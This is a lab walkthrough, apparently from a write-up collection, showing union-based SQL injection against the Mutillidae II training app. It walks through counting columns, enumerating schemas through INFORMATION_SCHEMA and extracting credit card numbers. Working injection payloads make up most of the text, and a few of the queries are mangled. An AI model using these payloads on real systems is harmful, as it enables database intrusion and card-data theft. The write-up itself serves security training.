> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/writeups-and-walkthroughs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/writeups-and-walkthroughs/mutillidae-ii/sqli/pivoting-with-sql-injection.md).
# Pivoting with SQL injection
## Lab 10: SQL Injection - Pivoting with SQL injection
Go to User Lookup page
We just know that there're 10 columns, than we can utilize UNION operator to do a Union-Based SQLi, and try multiple possible colum names regarding credit card such as: creditcard, credit\_card, etc..
Payload -> `' UNION SELECT 1,2,3,4,5,6,7,8,9,1 FROM --`
for 'creditcard' column name we've an error, then it's not the correct answer.
The right column name is: 'credit\_card': `' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM credit_cards --`
Great, we can retrieve info about db type, and version (answer of lab 11) utilizing this query:
`' UNION SELECT 1, database(),version(),user(),5,6,7,8,9,10--`
and discover all installed DBs using the following query:
`' UNION SELECT 1,schema_name,3,4,5,6,7,8,9,10 from INFORMATION_SCHEMA.SCHEMATA--`
Great, at this time we need to understand which db and table have credit\_cards as column:
' UNION SELECT 1,COLUMN\_NAME,TABLE\_NAME,4,5,6,7,8,9,10 TABLE\_SCHEMA FROM \.COLUMNS WHERE table\_name='credit\_cards'--
In this case the first one value 'information\_schema' is the db\_name:
' UNION SELECT 1,COLUMN\_NAME,TABLE\_NAME,4,5,6,7,8,9,10 TABLE\_SCHEMA FROM INFORMATION\_SCHEMA.COLUMNS WHERE table\_name='credit\_cards'--
The results provide us more info about columns, in this case we need to know only the ccnumber:
`' UNION SELECT 1,ccid,ccnumber,4,5,6,7,8,9,10 FROM credit_cards--`
and obtain the ccnumber (the last of photo) regarding our response!
